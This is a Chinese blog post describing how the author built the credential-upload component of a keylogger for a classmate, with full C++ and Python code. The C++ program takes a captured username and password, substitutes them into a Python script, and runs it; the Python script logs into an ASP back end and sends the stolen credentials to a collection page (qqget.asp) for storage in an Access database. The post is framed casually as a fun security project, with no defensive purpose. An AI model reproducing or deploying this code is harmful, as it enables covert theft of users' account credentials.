PythonC++

帮同学弄个信息安全的东西,关于键盘记录,然后发布到Asp网页上,有意思呵呵,TaoBao上的卖主不错,用MFC和Asp来写的,有时间,把代码再好好看看,然后用他的技术写个别的东西。

先说我实现的办法吧,键盘记录他已经搞好了,我就负责把一段文本(用户名和密码)发送到网页上去,这段时间搞Python,所以对网页抓取,自动提交什么的稍微熟悉等,所以想用Python,通过Asp网页的Get方法,将数据提交上去,然后存在Access中,但是客户端(监听端)被限制只能用C++来写,所以就想办法混编C++和Python,用C++来调用Python,网上关于C++和Python混编还是蛮多的,一般还是用Python调用C++,一个写起来方便,一个效率高,这个叫扩展,反过来交嵌入。关于C++调用Python,可以参考,两者都讲的可以参考。但是环境配置的时候,遇到问题,链接错误什么的,不太清楚是什么原因,怀疑是C++和Python的版本匹配问题,后来改成Release编译就可以了,搞不懂,并且,不少函数还不能用的,悲剧。最后呢,回到了最原始的状态,就是在C++下,直接调用Python的代码运行~

给定两个参数,一个用户名,一个密码,然后将实现写好的Py代码中的相应位置,替换掉这两个值,然后运行,也就完成了将相应用户名和密码插入到服务器端的过程了。还一个问题就是Python方面,如果自动登录,用的是Post的方式,然后发现如果单用urllib2进行登录的话,会不成功,因为这里用到了session,某个网页的登录没问题,但是一旦跳转到另一个网页就会出现问题,session的值就为空了,所以要设置cookie,感觉cookie的概念比session要大,关于自动访问网页,可以看看。

C++端的代码如下:

#include <iostream>  
#include <Python.h>
#include <string>
using namespace std;
 
char ch[10000];
 
int main(int argc, char *argv[])  
{  
    if(argc != 3) 
    {
        cout << "argument is error!" << endl;
        return 0;
    }
 
    string userName = argv[1];
    string passWord = argv[2];
 
    Py_Initialize(); 
 
    PyObject * pModule = NULL; 
    PyObject * pFunc   = NULL; 
 
    freopen("d:\\desktop\\test.py", "r", stdin);
    
    int cnt = 0;
    while(scanf("%c", &ch[cnt]) != EOF)  cnt++;
 
    string m = ch;
    for(int i = 0; i < m.length(); i++)
    {
        if(m.substr(i, 3) == "lit")
        {
            m.replace(i, 3, userName);
            i += userName.length() - 1;
        }
        else if(m.substr(i, 3) == "acm")
        {
            m.replace(i, 3, passWord);
            i += passWord.length() - 1;
        }
    }
    
    PyRun_SimpleString(m.c_str());        /* 运行字符串 */    
 
    Py_Finalize(); 
}

Python端的代码如下:

#!/usr/bin/env python 
#coding=utf-8
 
import urllib, urllib2, cookielib
 
cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) 
urllib2.install_opener(opener)
 
params = {'txtUser':'admin','txtPass':'admin'}
 
#print params
 
url_login = 'http://localhost/icheck.asp'
 
req = urllib2.Request(url_login,urllib.urlencode(params))
 
operate = opener.open(req)  
 
#info = operate.read()
#url_r =  operate.geturl()
 
url_insert = 'http://localhost/qqget.asp?Action=Insert&userName=lit&passWord=acm'
urllib2.urlopen(url_insert)
 
print "insert ok"

试验成功的截图:

PythonC

原文地址:https://www.cnblogs.com/litstrong/p/2062315.html